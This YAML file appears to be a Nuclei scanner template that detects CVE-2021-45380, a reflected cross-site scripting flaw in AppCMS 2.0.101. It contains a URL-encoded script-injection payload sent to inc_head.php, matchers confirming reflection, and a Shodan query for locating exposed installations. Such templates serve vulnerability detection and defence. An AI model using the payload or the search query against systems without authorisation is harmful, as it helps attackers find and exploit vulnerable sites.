id: CVE-2021-45380

info:
  name: AppCMS - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/source-trace/appcms/issues/8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45380
    cwe-id: CWE-79
    epss-score: 0.02148
    epss-percentile: 0.87858
    cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appcms
    product: appcms
    shodan-query: http.html:"Powerd by AppCMS"
  tags: cve,cve2021,appcms,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '""></script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200